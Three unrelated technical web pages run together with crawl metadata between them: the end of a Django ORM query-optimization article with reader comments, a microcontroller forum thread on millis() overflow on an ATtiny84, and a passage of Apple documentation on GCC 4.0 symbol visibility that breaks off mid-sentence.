to optimize database queries very coolly. But there is one BUT . Some problems may arise in using the Paginator class, which is used on my page. And the fact is that for Paginator it is necessary to execute the count request in order to calculate the correct number of pages. And if the request is very complicated, then the duration of the count request can be quite large and commensurate with the execution of a regular request. Therefore, an important condition may be writing a quick and effective main request, and all other objects will be better loaded using prefetch_related . That is, you may have a situation where it is better to complete a couple of additional requests, through overloading join operations with the main request. And I wrote such a request to ORM for this page def get_queryset(self, **kwargs): return ForumTopic.objects.all().select_related('answer').prefetch_related( Prefetch('article', queryset=Article.objects.all().only('title', 'title_ru')), Prefetch('section', queryset=ForumSection.objects.all().only('slug', 'title', 'title_ru')), Prefetch('user', queryset=User.objects.all().only('username', 'first_name', 'last_name')), Prefetch('comments', queryset=ForumPost.objects.all().select_related('user').only( 'user__username', 'user__first_name', 'user__last_name', '_parent_id' )), Prefetch('answer___parent', queryset=ForumTopic.objects.all().only('id')) ).only( 'title', 'user_id', 'section_id', 'article_id', 'answer___parent_id', 'pub_date', 'lastmod', 'attachment' ) At the same time, I got the following performance result - 8 queries to the database - spent 14 ms - 141 ms full page Of course, you can say that in this case there is not a very big gain. Moreover, the overall download speed even dropped a little (5 ms), and there were 2 more requests to the database, but at the same time I got an increase in query performance by 42 percent , and this is already something worth it. Thus, if your site has very long queries that are used in pagination and have a large number of join operations, then it may be worth rewriting the use of select_related to prefetch_related . This can actually help make your Django site much faster. Conclusion - Use select_related to select corresponding fields from other tables simultaneously with the main query - Use prefetch_related to additionally load with a single request all objects of other models that have ForeignKey on your main queryset - Use only to limit the columns to be taken, it will also speed up queries and reduce memory consumption - If you use Paginator , then make sure that the main request does not generate a very heavy request count , otherwise, it is possible that some select_related requests are loaded as prefetch_related Спасибо. Хорошая статья. Я нашёл 2 опечатки. Выделил жирным. prefetch_related prefetch_related отличается тем, что позволяет подгрузить не только объекты, которые используются в ForeignKey полях модели, но и те объекты, модели... Должно вроде быть "но и те ". Дополнительная оптимизация ...То есть у вас может быть ситуация, когда лучше выполнить ещё пару дополнительных запросов, через перегружать join операциями основной запрос. Тут видимо имелось ввиду чем . Спасибо, поправил Стоило бы упомянуть про Prefetch объекты со специально сформированными querysetами. Про кеширование. Помимо only есть defer. В некоторых случаях в drf можно автоматически делать select/prefetch_related. И запросы можно смотреть в django_debug_toolbar или в shell_plus --print-sql Вы про это? Для drf можно сделать отдельную статью, я вообще не рассматривал в данной статье drf В качестве альтернативы
https://evileg.com/en/post/564/
CC-MAIN-2020-29
refinedweb
1,832
60.24
Hello,I am using attiny84 microcontroller and atmel studio. And I am using the millis function in my project. I don't want the millis() function to reset after 50 days. I have to use uint64_t instead of unsigned long.I will make all variables that write unsigned long int below, uint64_t.There are 4 variables.I did not see any problems in my experiments, but I want to ask maybe there is something I do not know.If I change the original millis code to uint64_t, will it be a problem?To answer this, you can check the millis settings in the int main () part of my code. Orginal millis code and millis settings for my microcontroller in my project: #define F_CPU 8000000UL #include <stdlib.h> #include <stdio.h> #include <avr/io.h> #include <avr/interrupt.h> #include <math.h> #define clockCyclesToMicroseconds(a) ( ((a) * 1000L) / (F_CPU / 1000L) ) #define MICROSECONDS_PER_TIMER0_OVERFLOW (clockCyclesToMicroseconds(64 * 256)) #define MILLIS_INC (MICROSECONDS_PER_TIMER0_OVERFLOW / 1000) #define FRACT_INC ((MICROSECONDS_PER_TIMER0_OVERFLOW % 1000) >> 3) #define FRACT_MAX (1000 >> 3) volatile unsigned long int timer0_overflow_count = 0; volatile unsigned long int timer0_millis = 0; static unsigned char timer0_fract = 0; unsigned long int starttime,endtime; ISR (TIM0_OVF_vect) { unsigned long int m = timer0_millis; unsigned char f = timer0_fract; m += MILLIS_INC; f += FRACT_INC; if (f >= FRACT_MAX) { f -= FRACT_MAX; m += 1; } timer0_fract = f; timer0_millis = m; timer0_overflow_count++; } unsigned long int millis() { unsigned long int; } int main(void) { //Settings for timer TCNT0 = 0; TCCR0B |= (0<<CS02) | (1<<CS01) | (1<<CS00); TIMSK0 = (1<<TOIE0); sei(); while(1) { //clasic millis code is below starttime = millis(); endtime = starttime; while ((endtime - starttime)<=60000) { endtime = millis(); //the code to run... } } } Certainly millis will overflow in about 50 days. By the way do you want to measure more than 50 days? Otherwise 64bit is not needed. This code works fine even through an overflow. Top - Log in or register to post comments The subtraction of "starttime" from the "endtime" time will always work, for a duration that is 60000. It will work for durations up to 4,294,967,296. You probably want to read up on how two's complement works, since that is how the processor does subtraction, and the reason this trick works.'s_complement#Subtraction Consider when the starttime value is at 2147483648 ('0x80000000'), and I count 4,294,967,296 ticks through rollover to where "endtime" is at 2147483647 ('0x7fffffff'). If I subtract (endtime - starttime) I get the correct value (4,294,967,296). One more tick though and I got a problem. my projects: Top - Log in or register to post comments yes it works correctly, but I don't want any problems with other codes.so I want to change this variables as uint64_t: timer0_overflow_count, timer0_millis, endtime, starttime millis function I did not find a problem when I made changes like this. But why is the original millis code set to unsigned long instead of uint64_t?Does a problem occur?Please look to my millis settings. Top - Log in or register to post comments Probably because it is a sensible compromise. If it used uint16_t, the maximum time delta you can uniquely measure between event A (starttime) and event B (endtime), assuming you know that B is later than A, would be 65535 ticks. It doesn't matter if the count wraps during this period as long as you do uint16_t delta = endtime - starttime, but you have a fundamental limit at 65535 ticks, ie. 65535ms or 65 seconds. There will be applications where this is too short. So go up to uint32_t. You can now uniquely measure a time delta up to 4294967295ms, which is 49.7 days. In your case, unless you need to be measuring time delta more than 49.7 days, you don't need 64 bits. Top - Log in or register to post comments You are assuming that, outside of a controlled desktop environment, an ATtiny84 will go longer than 50 days without an asynchronous-with-unknown-cause reset. If the briefest reset happens, your timer0_millis count goes back to zero. Do you know how to do I2C on the tiny84? If so then I suggest that any time interval that is longer than 50 days should rely on a Real-Time Clock module board based on the DS3231 IC. These sell on eBay for about $1.30 USD each. They are accurate to seconds-per-year and have several alarms that can be set down to the minute for intervals as long as years. Top - Log in or register to post comments An external chip is not likely to be useful. 'Twould add both hardware and software complexity. OP's purpose is not clear. Measuring 50 day intervals to the millisecond requires better than a ppb. OP's crystal is unlikely to cut it. Assuming a task OP's hardware could actually accomplish, OP more likely wants to measure hour intervals more than 50 days in the future. For that, OP just needs to trust unsigned long arithmetic. BTW the high bit of an unsigned type is (timer_t)-1 - (((timer_t)-1)>>1) Moderation in all things. -- ancient proverb Top - Log in or register to post comments my goal is to get things done over a period of time.My concern is that the reset of the millis function occurs in a loop.I know it's ok for this code again. But can a 64-bit number be used to ensure it is never reset? I was wondering. Is this okay? Why is the original millis function used unsigned long instead of uint64_t? Top - Log in or register to post comments Letting the smoke out since 1978 Top - Log in or register to post comments These are MICRO controllers. Why do you want to burden your whole app with 64-bit arithmetic? Why do you want to make an ISR running many times per second take a significant amount of resources? 100s of cycles instead of 10s. If it were my app and a clean sheet, I'd probably never extend millis. I'd makeit it a 16-bit seconds counter, probably. Can't quite get 86400 seconds into 16 bits, so then make an hours counter. The time arithmetic when needed should be occasional. [and probably I'd investigate how to use time.h implementations] You can put lipstick on a pig, but it is still a pig. I've never met a pig I didn't like, as long as you have some salt and pepper. Top - Log in or register to post comments I infer that printing the time of year in milliseconds is not required, but beyond that, I am not sure. What time-related tasks do you need to accomplish? If the next task is always at most 47 days away, 32 bits is enough. Moderation in all things. -- ancient proverb Top - Log in or register to post comments Options include uint16_t, uint32_t, and uint64_t. They each have a burden that is a huge increase. The question is how much work (time) is spent in the ISR that tracks time. The desire is to keep the ISR short, but also reasonable. My experiments some time back suggest that it takes over 50 machine cycles to enter an ISR and the another 50+ to return (I don't recall the actual numbers it was an experiment with input capture). If I can keep the ISR to about 100 machine cycles that would seem best, that way, I am allowing some work to be done, but not causing my application thread to block for overly long. I am not sure if a uin64_t would stall my application enough to be a concern, but it is easy enough to track a longer time duration in the main thread, so why add the unnecessary blocking delay to the timer ISR (with a uin64_t). my projects: Top - Log in or register to post comments >> I was wondering. Is this okay? It's ok (for certain small values of ok) but not recommended unless you have an absolute requirement for it. It's rather like reading the same value from EEPROM every time around the main loop. Perfectly ok, but there are good reasons not to do it, and probably a better way to achieve the same end. Top - Log in or register to post comments With slightly more effort, you could implement a 1-byte overflow counter (40 bits total - about 34 years worth of milliseconds), and only have it accessible "upon request", which would make things much more efficient, and more backward compatible as well. You wouldn't have to double the size of every bit of code that uses the millisecond count. Top - Log in or register to post comments >yes it works correctly, but I don't want any problems with other codes.so I want to change this variables as uint64_t: Your 'other codes' will have the same problem unless they are informed they are now dealing with 64bits. If the 'other codes' do not know how to do time calculations correctly, then they will require fixing no matter if you use a 32 or 64bit millis var. They either need to be changed to deal with 64bits, or changed to handle time calculations correctly, and as long as a change is needed, just fix the calculation instead of moving everything to 64bits. For the example below, the otherCodes will have to switch to using uint64_t if that is what your milli var now uses (and you do not want to change the way the time is calculated), or you simply correct the way it does its time calculations. Something has to change or else it is still using 32bits, and doing it incorrectly. You can also get rid of 'timer0_overflow_count' unless you have some need to keep a 2048us count. /*----------------------------------------------------------- 'other codes' doing incorrect time calculation we want to delay by ms, but will be a problem since the time is calcuated assuming it never overflows -----------------------------------------------------------*/ void otherCodes(uint32_t ms){ //assume ms=1000 uint32_t starttime = millis(); //let's say is 0xFFFFFF00 //wrong uint32_t endtime = starttime + ms; // = 744 while( millis() < endtime ){} // 0xFFFFFF00 < 744 ? NO //we did not delay 1000ms because calculation is wrong //correct while( millis() - starttime < ms ){} // 0xFFFFFF00 - 0xFFFFFF00 = 0, 0 < 1000 ? yes // 0x00000001 - 0xFFFFFF00 = 0x0101, 257 < 1000 ? yes // 0x000002E8 - 0xFFFFFF00 = 0x03E8, 1000 < 1000 ? no //we waited 1000ms because we took advantage of //unsigned arithmetic to handle the oveflow } Top - Log in or register to post comments Thanks everyone for the answers.if the millis function resets in the loop ; ((0-4294949296)<=60000) I was worried about the result of this statements.(the number zero here is increasing over time. like 1000,2000...) But 0-4294949296=18000 (1000-4294949296)=19000 (2000-4294949296)=20000 so no problem occurs. but I also use millis loops nested.How would it be to reset the attiny microcontroller to eliminate the possibility of risk?Example If millis()==4294949296,than hard reset attiny microcontroller.How can I simply reset the attiny microcontroller in this way?The disadvantage here could be to constantly control the millis function? Top - Log in or register to post comments Silly question but unless you really need 1ms resolution over the entire 50 day period why don't you simply slow down (prescale) the timer so it ticks less often and thus the count will last for a longer period? In simple maths even if you slowed from 1ms to 10ms then 50 days would become 500 days. (though of course scaling tends to be binary divisors so rather than 1ms to 10ms it would more likely be 1ms to 8ms or 16ms or 32ms or 64ms or whatever) Top - Log in or register to post comments >but I also use millis loops nested.How would it be to reset the attiny microcontroller to eliminate the possibility of risk? Not quite sure what the 'risk' is about as its hard to imagine anything close to 49 days is needed for any single timing event. If you need to blink an led for only 90 days, or need to blink an led 90 days from now, you may want to get a seconds count going, along with an accurate clock source, and a way to make sure you do not lose power (in other words an rtc). For what you already have, you could make it easier to use- typedef struct { uint32_t start; uint32_t ms; bool expired; } delay_t; bool isExpired(delay_t* d){ //if ms==0, or not expired and is now expired, expire if( d->ms == 0 || (!d->expired && (millis() - d->start >= d->ms)) ){ d->expired = true; } return d->expired; } void delayRestart(delay_t* d){ d->start = millis(); d->expired = false; } void delaySet(delay_t* d, uint32_t ms){ d->ms = ms; delayRestart(d); } delay_t delay1; delay_t delay2; delay_t delay3; delay_t delay4; int main{ ... delaySet( &delay1, 500 ); //500ms delaySet( &delay2, 60000 ); //60 seconds delaySet( &delay3, 600000 ); //10 minutes delaySet( &delay4, 86400*30*1000ul ); //30 days while(1){ if( isExpired(&delay1) ){ toggleLed(); delayRestart( &delay1 ); } //blink led 1Hz if( ! isExpired(&delay2) ){ /* do something that takes ~short period of time */ } //run this code for 60 seconds if( isExpired(&delay3) ){ delayRestart(&delay2); delayRestart(&delay3); } //restart 60 second task every 10 minutes if( isExpired(&delay4) ){ mcuReset(); } //reset mcu every 30 days } } As long as any delay is less than ~49 days, you have no 'risk'. Top - Log in or register to post comments To be clear, if now is known to be later, but not too much later, than earlier, then now-earlier will give the interval between now and earlier even if earlier> now. That is how unsigned arithmetic works. Regardless of their values now-earlier will never produce a negative value. Unsigned arithmetic does not produce negative values. If you wish to know which of timeA and timeB occurs first one can test the high bit of timeB-timeA. If timeA and timeB are known to be close enough together, then timeA is later iff the sign bit is set. Note that I have assumed unsigned arithmetic. If the time type is smaller than int, the arithmetic will be done on ints. Moderation in all things. -- ancient proverb Top - Log in or register to post comments Good point, Arduino is using a prescale factor to 64 for Timer 0, that could be increased. As it is the Timer0 ISR will fire every 16384 clock cycles. which gives an ISR update about once per millisecond with a 16MegHz clock. I am not going to look at the prescale options but maybe 256 is one, which would have the ISR fire every 65536 clock cycles and the total role over time would be almost 200 days. For reference the Arduino Timer0 overflow ISR is at this link (it keeps track of the fractions of a millisecond) my projects: Top - Log in or register to post comments by Zak Kemble "Dare to be naïve." - Buckminster Fuller Top - Log in or register to post comments
https://www.avrfreaks.net/forum/using-millis-function-atmel-studio-uint64t
CC-MAIN-2021-31
refinedweb
2,479
70.73
Required minimum Qt 5.7 shared libraries (.so) for Linux deployment I read this article about Qt deployment for Linux. I've seen if I want to deploy my application for Linux I need include the following files: myapp myapp.sh platforms\libqxcb.so libQt5Core.so.5 libQt5Gui.so.5 libQt5Widgets.so.5 But If I include these Qt .so files my application isn't run. So I need to know what Qt 5.7 shared libraries (.so) I need to include for minimal application, for example: #include <QtWidgets/QApplication> #include <QtWidgets/QMainWindow> int main(int argc, char *argv[]) { QApplication app(argc, argv); QMainWindow window; window.show(); window.setWindowTitle("Hello world"); return app.exec(); } I create myapp.sh based on article: #!/bin/sh appname=`basename $0 | sed s,\.sh$,,` dirname=`dirname $0` tmp="${dirname#?}" if [ "${dirname%$tmp}" != "/" ]; then dirname=$PWD/$dirname fi LD_LIBRARY_PATH=$dirname export LD_LIBRARY_PATH $dirname/$appname "$@" I need full list Qt 5.7 shared libraries what I need include for this minimal application deployment. My application works well on a development environment. - mrjj Qt Champions 2017 hi and welcome Cant you use ldd on the .exe to see which "so" it needs? My fav site for deployment is I added missing libraries. I used ldd libicudata.so.56 libicui18n.so.56 libicuuc.so.56 Now when I run myapp.sh I get error: This application failed to start because it could not find or load the Qt platform plugin "xcb". Available platform plugins are: xcb. Why I get this error if I included: platforms\libqxcb.so - mrjj Qt Champions 2017 This application failed to start because it could not find or load the Qt platform plugin "xcb" hi do ldd on the libqxcb.so also I think that I found missing .so files. Thanks. - mrjj Qt Champions 2017 libqxcb.so depends on these .so files: libQt5XcbQpa.so.5 libQt5DBus.so.5 So in my case project structure looks: myapp myapp.sh platforms\libqxcb.so libQt5Core.so.5 libQt5Gui.so.5 libQt5Widgets.so.5 libicudata.so.56 libicui18n.so.56 libicuuc.so.56 libQt5XcbQpa.so.5 libQt5DBus.so.5
https://forum.qt.io/topic/70227/required-minimum-qt-5-7-shared-libraries-so-for-linux-deployment
CC-MAIN-2018-30
refinedweb
350
62.24
Although I’m no big believer of code generation, the micro-code generation of ReSharper can be a huge timesaver. For every common snippet of code or common file I would create, I could create a simple template that might create a class, method, or just a small snippet of code. Another tool I love to use is AutoHotKey. For about a year and a half now, I’ve used BDD-style names in my tests, which leads to a lot of underscores in test names. Underscores are a pain to type however, especially when you would use it as much as a spacebar. AutoHotKey allows me to map keystrokes to other keystrokes, such as say, spacebar to underscores. With ReSharper and AutoHotKey integrated, you’ll have about as seamless TDD/BDD experience as you can get. To integrate the two, I’ll first need to get some ReSharper templates going. Some simple test templates I only use underscores in test class/method names, so we’ll just create templates for those two items. Step zero of course, is to have ReSharper, but you can also do this with Visual Studio’s code snippets. I prefer ReSharper templates just because they’re ridiculously easy to create, and more powerful. First, let’s create a fixture template by going to ReSharper –> Live Templates: This brings up the Templates Explorer. In the Live Templates tab, navigate to the Shared Solution Templates C# in the tree view and click the “New Template” button in the toolbar: I already have a couple of templates in there, and our team has some shared templates we keep in source control (makes pairing waaaay easier). Clicking the New Template button brings up the template editor, where we need to supply three pieces: - Shortcut - Description - Template For the “Shortcut”, I’ll use “tc” for “test class”, which is what I’ll also put in the Description. Also, uncheck “Reformat”, which automatically reformats when you put the template in (and we don’t want). Finally, we’ll put the following text in our template section: [TestFixture] public class $TESTNAME$ { $END$ } The dollar signs create editable areas that take focus whenever we execute the shortcut. The final result should look something like this: There are tons of other options I could look at, such as setting the available context, but I’ll leave it alone for now. To execute the template, I go to a C# file and type in “tc+TAB”, and my template pops out. Before we look at AutoHotKey, make sure your template is working properly. Integrating AutoHotKey I was introduced to AutoHotKey by JP Boodhoo a long time ago, and I still use his template as a starting point for mine. In his starting template, you can use “Ctrl+Shift+U” to enable the TestNamingMode script, and from there on out your spacebars turn into underscores. The starting point script can be found here:. Additionally, you’ll need the two images that JP created for your system tray. AutoHotKey is a script, which you compile into an executable. You’ll need to download AutoHotKey (free) to compile the script we create. However, I don’t really like turning on and off the test naming mode, I want this to just turn on right after I execute the ReSharper template shortcut, “tc+TAB”. To do so, first I’ll need to comment out the part that checks to make sure Visual Studio is active in our AutoHotKey script: ;========================== ;Test Mode toggle ;========================== ;#IfWinActive Microsoft Visual Studio ^+u:: SetTestNamingMode(!IsInTestNamingMode) return I did this by putting a semi-colon in front of the “#IfWinActive” piece. Next, I insert the following at the bottom of the script: ;========================== ;R# Template hotkeys ;========================== ::tc::tc^+u return This piece takes any “tc” plus a terminator key (enter, tab, etc.) and pipes out the original “tc+TAB”, plus “Ctrl+Shift+U”, which turns on my TestNamingMode. Save this file, and right click and hit “compile” from Windows Explorer: Once the script is compiled, run the executable that was created, and you’ll see a little tray icon pop up in your system tray: Now that my AutoHotKey script is up and running, I can go back to Visual Studio and use my R# template integrated with AutoHotKey. When I execute my template: - “tc+TAB” turns on TestNamingMode in my AutoHotKey script - The AHK script pipes “tc+TAB” back to Visual Studio - R# uses “tc+TAB” to spit out my template - I type away with test names and spacebars, and AHK turns my spacebar key into underscores - When I’m done with the test name, I hit “ENTER”, which both turns off my TestNamingMode, and moves the caret to the “$END$” part in my template (the body of the test class) This is about the most seamless way I’ve seen to do TDD. I hit “tc+TAB”, or “t+tab” (my test method template), and I can immediately start typing normally and my test names show up just fine, without having to fight with either the underscore key, or a macro that doesn’t play well with IntelliSense. You can find the final script, plus the compiled version and images here. Post Footer automatically generated by Add Post Footer Plugin for wordpress.
http://lostechies.com/jimmybogard/2009/02/26/seamless-test-authoring-with-resharper-and-autohotkey/
CC-MAIN-2014-15
refinedweb
878
64.14
Based on the information given in the case, prepare two cash flow tables (which incorporate taxes and include initial investment, operating and terminal cash flows) for the purchase of 3 gas-fired kilns and 12 electric kilns. Decide if each of the following items should be included in the cash flow table. Explain your decision. aThe increase in accounts receivable, accounts payable and inventory; b The term loan and the yearly interest expense; c The increase in rental payment after seven years; dThe estimates of higher utilities expense. Explain clearly your assumptions in deriving the figures in your cash flow. 2.What are the implications of mutually exclusive projects; would you characterise the electric and gas-fired kilns as mutually exclusive; why or why not? 3.What is the appropriate cost of capital to use for discounting expected future cash flows? [4 marks] 4.Based on the cash flows from Question 1 and any additional calculations required necessary, would you recommend Julian to purchase the gas-fired kilns or the electric kilns based on (i) the payback period (PP), (ii) net present value (NPV) and (iii) internal rate of return (IRR) methods? [Assume the after-tax cost of capital is 15% for the NPV method.] 5.Draw the ANPV and NPV profiles for both the electric and gas-fired kilns on the same set of axes (by varying the discount rates from 0%, 10%, 20%, 30%) and discuss any conflict in ranking that may exist between NPV and ANPV. 6.Given the risk inherent in any project, it is crucial that you perform project risk analyses on the new investment’s NPV and IRR before making any recommendation. For either type of kiln a)Calculate the minimum level of additional annual sales necessary for each project to be acceptable. b)Do a scenario analysis (i.e. pessimistic estimates) of NPVs and ANPVs to changes in sales projection and cost of capital. Assume sales can deviate from the estimated value by minus 20% and the after-tax cost of capital is 3-percentage points higher. c)If the expected rate of inflation is 3% per year, what would be its effect on the NPV and ANPV? Discuss the impact and direction of change, not precise figures. d)Based on the last Income Statement for Bentley Custom Ceramics, what is Julian’s marginal tax rate? Do not repeat the calculations in Question 1 to get a new solution, but determine (i) what items would be changed; and (ii) whether the IRR and NPV would be raised or lower by the shift in tax rate. 7Make a recommendation as to whether or not Julian should purchase the kilns. Explain all factors that would affect the decision in your recommendation, including the analysis of the project risk (Question
https://myassignmenthelp.com/answers/finance-principle-based-nbspon-the-information-given-in-the-case-prepare-two-cash.html
CC-MAIN-2020-45
refinedweb
464
59.43
Yes, I know Fibonacci(=sun of a good man) again. Most famous for his series, but who among you all, know that he was the man who introduced to the Western world, the Arabic numeral system(including zero) in 1202 A.D.? The Italian merchands of those days adored it. It was far more easy to work with than the roman numeral system of course. And it is still in use today. I did the series a little different with a calculation that gives you any Fibonacci number from zero up to the 93th one. I guess the Convert method does the rounding. Also included here in the code, is a little test loop. Enjoy! using System; namespace ConsoleApplication2 { class Program { static void Main(string[] args) { for (Byte n = 0; n < 20; n++) { Console.WriteLine("F({0}) = {1}", n, Fib(n)); } Console.ReadKey(); } /// <summary> /// Calculates the Nth(starting from zero) Fibonacci number /// no overflow error checking /// </summary> /// <param name="n">n can range from 0 to 93</param> /// <returns>F(n)</returns> public static UInt64 Fib(Byte n) { double sqrt5 = Math.Sqrt(5); double phi = (sqrt5 + 1) / 2; return Convert.ToUInt64((1 / sqrt5) * Math.Pow(phi, n)); } } } Be a part of the DaniWeb community We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts learning and sharing knowledge.
https://www.daniweb.com/programming/software-development/code/455852/fibonacci-in-c
CC-MAIN-2021-31
refinedweb
224
57.06
Azure WebJobs SDK alpha 2 makes it very easy to host code in the cloud and run it interactively. You can now invoke your SDK functions directly from the dashboard. Some great uses here: For example, suppose you have a function Writer(). In this case, we’ll just do something silly (take a string and write it out multiple times), but you can imagine doing something more interesting like providing diagnostic functions on your live site (eg ,”GetLogs”, “ClearStaleData”, etc). using Microsoft.WindowsAzure.Jobs; // From nuget: Microsoft.WindowsAzure.Jobs.Host using System.IO; namespace Live { class Program { static void Main(string[] args) { var host = new JobHost(); host.RunAndBlock(); } // Given a string, write it our 'multiple' times. ("A",3) ==> "AAA". public static void Writer(string content, int multiply, [BlobOutput("test/output.txt")] TextWriter output) { for (int i = 0; i < multiply; i++) { output.Write(content); } } } } Once you run the program to azure, if you go to the dashboard, you’ll see the function show up in the function list (it’s “published” when the JobHost ctor runs): You can click on that function and see a history of executions and their status. : You can click on the blue “run function” to invoke the function directly from the dashboard! This lets you fill in the parameters. Notice that the parameters are parsed from strings. So ‘multiply’ is strongly-typed as an integer, and we parse it by invoking the Int.TryParse function. And of course, the above page has a shareable password-protected permalink, (looks like: ) so that you can share out the invocation ability with others. You can hit run and the function will get invoked! The assumes that your webjob is running, and the invoke works by queuing a message that the JobHost.RunAndBlock() call will listen to. (This means that your webjob needs to actually be running somewhere, although if it’s not, that dashboard will warn you about that too). Run will also take you to the “permalink” for the function instance execution, which is a shareable URL that provides information about the function execution. You can see that the output parameter was written to a blob “test/output.txt” and it wrote 9 bytes and the hyperlink will take you to the blobs contents. It also notes that the execution reason was “Ran form dashboard”. You can also hit “replay function” on an existing instance to replay the function. This will take you back to the invoke page and a) pre-seed the parameters with values from the execution and b) record a “parent” link to the permalink back to the original instance of the execution so you can see what was replayed.
http://blogs.msdn.com/b/jmstall/archive/2014/04/26/hosting-interactive-code-in-the-cloud.aspx
CC-MAIN-2015-06
refinedweb
445
63.59
appreciate if someone can help me, newbie in python. I am to prompt user for ports to be reserved, i.e. 20-25, 80, 90-100. Expected output should be range i.e. 1-19, 26-79, 81-89,101-65335. Thanks in anticipation. Here's a working example with hardcoded values: from itertools import groupby ranges = ["20 - 25", "80", "90 - 100"] out = [0] * 200 for r in ranges: tokens = r.split() if len(tokens) == 3: a = int(tokens[0]) b = int(tokens[2]) out[a:b + 1] = [1] * (b - a + 1) elif len(tokens) == 1: a = int(tokens[0]) out[a] = 1 index = 0 free_ports = [] busy_ports = [] for k, g in groupby(out): lg = list(g) a = 1 if index == 0 else index index += len(lg) b = index port_range = [a, b - 1] if a != (b - 1) else [a] if k == 1: busy_ports.append(port_range) continue free_ports.append(port_range) print "Ports in use:", busy_ports print "Ports not used:", free_ports One advice though, next time try to provide a mcve with one attempt of yours, otherwise people will downvote you badly as you can see in this question ;-)
https://codedump.io/share/uw2ckwMfOjFo/1/find-numbers-not-in-range
CC-MAIN-2018-17
refinedweb
186
73.88
In ordinary C, if you want to limit the visibility of a function or variable to the current file, you apply the static keyword to it. In a shared library containing many files, though, if you want a symbol to be available in several files inside the library, but not available outside the library, hiding that symbol is more difficult. Most linkers provide convenient ways to hide or show all symbols in a module, but if you want to be more selective, it takes a lot more work. Prior to Mac OS X v10.4, there were two mechanisms for controlling symbol visibility. The first technique was to declare individual symbols as private to the library but external to the current file using the __private_extern__ keyword. This keyword could be used in the same places you would use either the static or extern keywords. The second technique was to use an export list. An export list is a file containing the names of symbols you explicitly want to hide or show. Although symbol names in C are easily determined (by prepending an underscore character to the name), determining symbol names in C++ is far more complicated. Because of classes and namespaces, compilers must include more information to identify each symbol uniquely, and so compilers create what is known as a mangled name for each symbol. This mangled name is often compiler-dependent, difficult to deduce, and difficult to find within a large list of symbols defined by your library. Luckily, GCC 4.0 provides some new ways to change the visibility of symbols. The following sections describe these new techniques along with reasons why this might be important to you. Using GCC 4.0 to Mark Symbol Visibility Reasons for Limiting Symbol Visibility Reasons for Making Symbols Visible Visibility of Inline Functions Symbol Visibility and Objective-C Beginning with Mac OS X v10.4, hiding C++ symbol names is much easier. The GCC 4.0 compiler supports new options for hiding or showing symbols and also supports a new pragma and compiler attributes for changing the visibility of symbols in your code. Note: The following features are available only in GCC 4.0 and later. For information on how to use these features with Xcode, see Xcode 2.1 User Guide. “Dynamic Library Design Guidelines“ in Dynamic Library Programming Topics provides general information about symbol definition and method implementation. GCC 4.0 supports a new flag for setting the default visibility of symbols in a file. The -fvisibility=vis compiler option lets you set the visibility for symbols in the current compilation. The value for this flag can be either default or hidden. When set to default, symbols not explicitly marked as hidden are made visible. When set to hidden, symbols not explicitly marked as visible are hidden. If you do not specify the -fvisibility flag during compilation, the compiler assumes default visibility. Note: The name default does not refer to compiler defaults. Like the name hidden, it comes from visibility names defined by the ELF format. A symbol with default visibility has the kind of visibility that all symbols do if no special mechanisms are used—that is, it is exported as part of the public interface. The compiler also supports the -fvisibility-inlines-hidden flag for forcing all inline functions to be hidden. You might use this flag in situations where you want to use default visibility for most items but still want to hide all inline functions. For more information why this might be necessary for inline functions, see “Visibility of Inline Functions.” If you are compiling your code with GCC 4.0, you can mark individual symbols as default or hidden using the visibility attribute: Visibility attributes override the value specified with the -fvisibility flag at compile-time. Thus, adding the default visibility attribute causes a symbol to be exported in all cases, whereas adding the hidden visibility attribute hides it. Visibility attributes may be applied to functions, variables, templates, and C++ classes. If a class is marked as hidden, all of its member functions, static member variables, and compiler-generated metadata, such as virtual function tables and RTTI information, are also hidden. Note: Although template declarations can be marked with the visibility attribute, template instantiations cannot. This is a known limitation and may be fixed in a future version of GCC. To demonstrate how these attributes work at compile-time, take a look at the following declarations: Compiling this code with the -fvisibility=default flag would cause the symbols for functions a and c and classes X and Z to be exported by the library. Compiling this code with the -fvisibility=hidden flag would cause the symbols for the function c and the class Z to be exported. Using the visibility attribute to mark symbols as visible or hidden is better practice than using the __private_extern__ keyword to hide individual symbols. Using the __private_extern__ keyword takes the approach of exposing all symbols by default and then selectively hiding ones that are private. In a large shared library, the reverse approach is usually better. Thus, it is usually better to hide all symbols and then selectively expose the ones you want clients to use. To simplify the task of marking symbols for export, you might also want to define a macro with the default visibility attribute set, such as in the following example: The advantage of using a macro is that if your code is also compiled on other platforms, you can change the macro to the appropriate keywords for the compilers on the other platforms. Another way to mark symbols as default or hidden is with a new pragma in GCC 4.0. The GCC visibility pragma has the advantage of being able to mark a block of functions quickly, without the need to apply the visibility attribute to each one. The use of this pragma is as follows: In this example, the functions g and h are marked as default, and are therefore exported regardless of the -fvisibility flag, while the function f conforms to whatever value is set for the -fvisibility flag. As the names push and pop suggest, this pragma can be nested. It is good practice to export as few symbols as possible from your dynamic shared libraries. Exporting a limited set of symbols improves program modularity and hides implementation details. Reducing the number of symbols in your libraries also decreases the footprint of your library and reduces the amount of work that must be done by the dynamic linker. With fewer symbols to load and resolve, the dynamic linker is able to get your program up and running more quickly. Although it is likely that most C++ symbols in your shared library do not need to be visible, there are some situations where you do need to export them: If your library exports a C++ interface, the symbols associated with that interface must be visible.. If you expect the address of an inline function used in different code modules to be the same for each module, the function must be exported from each code module. If your inline function contains a static object and you expect there to be only one copy of that object, your symbol for that static object must be visible. You might think that the visibility of inline functions is not an issue, but it is. Inline functions are normally expanded at the call site, and thus never emitted as symbols in the object file at all. In a number of cases, however, the compiler may emit the body of the function, and therefore generate a symbol for it, for some very good reasons. In the most common case, the compiler may decide not to respect the inline optimization if all optimizations are disabled. In more rare cases, the function may be too big to inline or the address of the function might be used elsewhere and thus require a symbol. Although you can apply the visibility attribute (see “Visibility Attributes”) to inline functions in C++ just as you can any other symbol, it is usually better to hide all inline functions. Some complex issues arise when you export inline functions from dynamic shared libraries. Because there are several variables involved in the compiler’s decision to emit a function or inline it, you may run into errors when building clients for different builds of your shared library. It is also important to remember that there are subtle differences between the inline function semantics for C and C++. In C programs, only one source file may provide an out-of-line definition for an inline function. This means that C programmers have precise control over where out-of-line copies reside. So for a C-based dynamic shared library, it is possible to export only one copy of an inline function. For C++, the definition of an inline function must be included in every translation unit that uses the function. So, if the compiler does emit an out-of-line copy, there can potentially be several copies of the function residing in different translation units. In the end, if you want to hide all inline functions (but not necessarily all of your other code), you can use the -fvisibility-inlines-hidden flag when compiling your code. If you are already passing the -fvisibility=hidden flag to the compiler, use of the -fvisibility-inlines-hidden flag is unnecessary. Objective-C is a strict superset of C, and Objective-C++ is a 